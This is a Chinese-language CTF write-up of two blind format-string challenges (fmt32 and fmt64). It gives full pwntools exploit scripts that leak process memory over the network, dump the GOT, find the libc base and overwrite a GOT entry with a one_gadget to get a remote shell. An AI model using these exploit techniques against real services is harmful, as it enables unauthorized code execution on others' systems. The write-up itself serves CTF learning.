出題人好像比較喜歡blind pwn,5道pwn題裏有3個,由於時間關係來不及看rop64了(我太菜)。
1.fmt32
只給了ip&port,沒有附件猜測是blind pwn,根據題目名字,猜想有格式化字符串漏洞,試了一下發現是一個循環(畢竟是復讀機),每次都可以利用格式化字符串漏洞,於是首先想法是先將內存dump下來再分析,如果32位程序沒開pie保護,程序首地址爲0x8048000。
def leak(addr):
payload = "%10$s.TMP" + p32(addr)
io.sendline(payload)
print "leaking:", hex(addr)
io.recvuntil('Repeater:')
resp = io.recvuntil(".TMP")
ret = resp[:-4:]
print ret, len(ret)
remain = io.recvrepeat(0.2)
return ret
start_addr = 0x8048000
#leak(0x8048000)
text_seg = ''
try:
while True:
ret = leak(start_addr)
text_seg += ret
start_addr += len(ret)
if start_addr>=0x8048b00:
break
if len(ret) == 0:
start_addr += 1
text_seg += '\x00'
except Exception as e:
print e
print '[+]', len(text_seg)
with open('dump_bin', 'wb') as f:
f.write(text_seg)
代碼段差不多到0x8048b00就結束了,跑完之後放到ida中,找到代碼段,下面應該是main函數,根據遠程服務器的返回以及流程猜測對應函數吧。
seg000:08048605 push ebp
seg000:08048606 mov ebp, esp
seg000:08048608 push ecx
seg000:08048609 sub esp, 244h
seg000:0804860F mov eax, large gs:14h
seg000:08048615 mov [ebp-0Ch], eax
seg000:08048618 xor eax, eax
seg000:0804861A mov eax, ds:804A064h
seg000:0804861F sub esp, 8
seg000:08048622 push 0
seg000:08048624 push eax
seg000:08048625 call sub_8048450
seg000:0804862A add esp, 10h
seg000:0804862D mov eax, ds:804A060h
seg000:08048632 sub esp, 8
seg000:08048635 push 0
seg000:08048637 push eax
seg000:08048638 call sub_8048450
seg000:0804863D add esp, 10h
seg000:08048640 mov eax, ds:804A040h
seg000:08048645 sub esp, 8
seg000:08048648 push 0
seg000:0804864A push eax
seg000:0804864B call sub_8048450
seg000:08048650 add esp, 10h
seg000:08048653 sub esp, 0Ch
seg000:08048656 push 80487E0h
seg000:0804865B call sub_8048490
seg000:08048660 add esp, 10h
seg000:08048663 sub esp, 0Ch
seg000:08048666 push 804885Ch
seg000:0804866B call sub_8048490
seg000:08048670 add esp, 10h
seg000:08048673 mov dword ptr [ebp-240h], 0
seg000:0804867D
seg000:0804867D loc_804867D: ;循環
seg000:0804867D sub esp, 0Ch
seg000:08048680 push 3
seg000:08048682 call sub_8048480 ;目測alarm
seg000:08048687 add esp, 10h
seg000:0804868A sub esp, 4
seg000:0804868D push 101h
seg000:08048692 push 0
seg000:08048694 lea eax, [ebp-239h]
seg000:0804869A push eax
seg000:0804869B call sub_80484D0 ;目測memset
seg000:080486A0 add esp, 10h
seg000:080486A3 sub esp, 4
seg000:080486A6 push 12Ch
seg000:080486AB push 0
seg000:080486AD lea eax, [ebp-138h]
seg000:080486B3 push eax
seg000:080486B4 call sub_80484D0 ;memset,初始化的兩個緩衝區
seg000:080486B9 add esp, 10h
seg000:080486BC sub esp, 0Ch
seg000:080486BF push 804887Dh ;這裏push的地址,是數據段的字符串,應該是要打印東西了,猜測是puts函數。
seg000:080486C4 call sub_8048470
seg000:080486C9 add esp, 10h
seg000:080486CC sub esp, 4
seg000:080486CF push 100h
seg000:080486D4 lea eax, [ebp-239h]
seg000:080486DA push eax
seg000:080486DB push 0
seg000:080486DD call sub_8048460 ;這裏看入棧參數應該是read
seg000:080486E2 add esp, 10h
seg000:080486E5 sub esp, 4
seg000:080486E8 lea eax, [ebp-239h]
seg000:080486EE push eax
seg000:080486EF push 804888Dh
seg000:080486F4 lea eax, [ebp-138h]
seg000:080486FA push eax
seg000:080486FB call sub_80484E0 ;這邊兩個緩衝區都作爲參數,並且有格式化字符,猜測是sprintf
seg000:08048700 add esp, 10h
seg000:08048703 sub esp, 0Ch
seg000:08048706 lea eax, [ebp-138h]
seg000:0804870C push eax
seg000:0804870D call sub_80484B0 ;下面將eax和10eh進行比較,猜測這個是strlen
seg000:08048712 add esp, 10h
seg000:08048715 mov [ebp-240h], eax
seg000:0804871B cmp dword ptr [ebp-240h], 10Eh
seg000:08048725 jbe short loc_8048741
seg000:08048727 sub esp, 0Ch ;這邊是輸入的字符串超了限制。
seg000:0804872A push 804889Ch
seg000:0804872F call sub_8048470
seg000:08048734 add esp, 10h
seg000:08048737 sub esp, 0Ch
seg000:0804873A push 0
seg000:0804873C call sub_80484A0 ;exit(0)
seg000:08048741
seg000:08048741 loc_8048741: ; CODE XREF: seg000:08048725j
seg000:08048741 sub esp, 0Ch
seg000:08048744 lea eax, [ebp-138h]
seg000:0804874A push eax
seg000:0804874B call sub_8048470 ;puts
seg000:08048750 add esp, 10h
seg000:08048753 jmp loc_804867D ;下一個循環
程序邏輯搞清之後,跟入sprint函數,進入到dump下來的plt表裏。
那麼所有的要素就已經齊了,sprint_plt=0x80484e0;sprint_got=0x804a030。先讀libc,再進行got_hijack就可以了。下面是完整的exp。
from pwn import *
io=remote('47.108.135.45','20075')
def leak(addr):
payload = "%10$s.TMP" + p32(addr)
io.sendline(payload)
print "leaking:", hex(addr)
io.recvuntil('Repeater:')
resp = io.recvuntil(".TMP")
ret = resp[:-4:]
print ret, len(ret)
remain = io.recvrepeat(0.2)
return ret
'''
start_addr = 0x8048000
leak(0x8048000)
text_seg = ''
try:
while True:
ret = leak(start_addr)
text_seg += ret
start_addr += len(ret)
if start_addr>=0x8048b00:
break
if len(ret) == 0:
start_addr += 1
text_seg += '\x00'
except Exception as e:
print e
print '[+]', len(text_seg)
with open('dump_bin', 'wb') as fout:
fout.write(text_seg)
'''
puts_got=0x804a014
sprint_got=0x804a030
payload = "%10$s.TMP" + p32(sprint_got)
io.sendline(payload)
io.recvuntil('Repeater:')
sprint_add=u32(io.recv(4))
print(hex(sprint_add))
libc_base=sprint_add-0x049080
print(hex(libc_base))
one_gadget=libc_base+0x3a80c
a=one_gadget%0x10000&0xffff
print(hex(a))
b=(one_gadget/0x10000)%0x10000&0xffff
print(hex(b))
pause()
payload = '%' + str(a-9) + 'c' +'%16$hn'
payload += '%' + str(b - a) + 'c' +'%17$hn'
payload = payload.ljust(33, 'A')+p32(puts_got)+p32(puts_got+2)
io.sendline(payload)
io.interactive()
2.fmt64
這個題同樣也是格式化字符串漏洞的盲pwn,和上題的區別是64位的程序,這題我也嘗試了dump代碼段,64位程序,程序首地址爲0x400000,於是dump到0x400b00,雖然內存成功dump下來了,但是放到ida反彙編失敗了,原因未知(我太菜了),由於當時比賽快結束了(最後5分鐘做完交上的),所以就想程序邏輯應該大概和32位類似,還是要想辦法知道got表的未知,題目同時還提供了一個附件。
$ readelf -s stilltest
Symbol table '.dynsym' contains 15 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.2.5 (2)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.2.5 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.2.5 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memset@GLIBC_2.2.5 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND alarm@GLIBC_2.2.5 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.2.5 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2)
9: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sprintf@GLIBC_2.2.5 (2)
11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.2.5 (2)
12: 0000000000601080 8 OBJECT GLOBAL DEFAULT 26 stdout@GLIBC_2.2.5 (2)
13: 0000000000601090 8 OBJECT GLOBAL DEFAULT 26 stdin@GLIBC_2.2.5 (2)
14: 00000000006010a0 8 OBJECT GLOBAL DEFAULT 26 stderr@GLIBC_2.2.5 (2)
可以發現提供了輸入輸出的位置,這幾個一般是在bss段上的,由於bss段就在got表附近,於是想把這一塊位置都dump下來。
def leak(addr):
payload = "%9$s.TMP" + p64(addr)
io.sendline(payload)
print "leaking:", hex(addr)
io.recvuntil('Repeater:')
resp = io.recvuntil(".TMP")
ret = resp[:-4:]
print ret, len(ret)
remain = io.recvrepeat(0.2)
return ret
start_addr = 0x601000
text_seg = ''
try:
while True:
ret = leak(start_addr)
text_seg += ret
start_addr += len(ret)
if start_addr>=0x6010a0:
break
if len(ret) == 0:
start_addr += 1
text_seg += '\x00'
except Exception as e:
print e
print '[+]', len(text_seg)
with open('dump_got', 'wb') as f:
f.write(text_seg)
0000000000601000 0000000000600E28 00007F6231568168
0000000000601010 00007F6231358EE0 00007F6230FE6690
0000000000601020 00007F6231002720 00007F6230FED6B0
0000000000601030 00007F6230FCC800 00007F62310E9970
0000000000601040 00007F6231043200 00007F623106E250
0000000000601050 00007F6230F97740 00007F6230FCC940
0000000000601060 0000000000400706 0000000000000000
0000000000601070 0000000000000000 0000000000000000
0000000000601080 00007F623133C620 0000000000000000
0000000000601090 00007F623133B8E0 0000000000000000
00000000006010A0 7F623133C540
很明顯是got表了,經過反覆測試(利用格式化字符串修改got表,會導致該函數壞掉,根據服務壞掉的位置猜測函數對應)最終確定0x601048這個函數對應的是read函數(大膽猜測,小心求證),嘗試得到libc基址,然後隨便覆蓋個下次會執行到的函數,就可以getshell了,完整exp如下。
from pwn import *
import binascii
io=remote('47.108.135.45','20075')
libc=ELF('./libc-2.23.so')
def leak(addr):
payload = "%9$s.TMP" + p64(addr)
io.sendline(payload)
print "leaking:", hex(addr)
io.recvuntil('Repeater:')
resp = io.recvuntil(".TMP")
ret = resp[:-4:]
print ret, len(ret)
remain = io.recvrepeat(0.2)
return ret
#leak(0x400000)
print('puts:'+hex(libc.sym['puts']))
print('strlen:'+hex(libc.sym['strlen']))
print('printf:'+hex(libc.sym['printf']))
print('read:'+hex(libc.sym['read']))
print('memset:'+hex(libc.sym['memset']))
print('setbuf:'+hex(libc.sym['setbuf']))
print('alarm:'+hex(libc.sym['alarm']))
#start_addr = 0x601000
#leak(0x06010a0)
'''
text_seg = ''
try:
while True:
ret = leak(start_addr)
text_seg += ret
start_addr += len(ret)
if start_addr>=0x6010a0:
break
if len(ret) == 0:
start_addr += 1
text_seg += '\x00'
except Exception as e:
print e
print '[+]', len(text_seg)
with open('dump_got', 'wb') as fout:
fout.write(text_seg)
'''
read_got=0x601048
payload = "%9$s.TMP" + p64(read_got)
io.sendline(payload)
io.recvuntil('Repeater:')
read_add=u64(io.recv(6).ljust(8,'\x00'))
print(hex(read_add))
libc_base=read_add-0x0f7250
print(hex(libc_base))
one_gadget=libc_base+0xf1147
print(hex(one_gadget))
a=one_gadget%0x10000&0xffff
print(hex(a))
b=(one_gadget/0x10000)%0x10000&0xffff
print(hex(b))
pause()
payload = '%' + str(a-9) + 'c' +'%12$hn'
payload += '%' + str(b - a) + 'c' +'%13$hn'
payload = payload.ljust(32, 'A')+p64(0x601058)+p64(0x601058+2)
io.sendline(payload)
'''
io.recvuntil('QQQ')
edit=u64(io.recv(6).ljust(8,'\x00'))
print(hex(edit))
#io.sendline('/bin/sh\x00')
'''
#io.sendline('AAAAAAAA'+'%8$p')
io.interactive()
3.總結
blind pwn最早好像是出現在Lctf上的,還是挺有意思的,畢竟在真實環境下不一定能獲得遠程服務的二進制代碼,做這類題目想辦法利用程序的任意地址讀(緩衝區溢出漏洞,格式化字符串漏洞)來進行信息泄露,比較重要的信息就是,代碼段(理解解程序邏輯),plt段,以及got表了,知道了信息之後就正常利用就行了。有些部分可能需要大膽猜測以及經驗,推理邏輯可能沒有那麼完整(也可能是我太菜了),最後這個安洵杯,時間對一個人做的還是感覺有些短了(Pwn都沒看完)。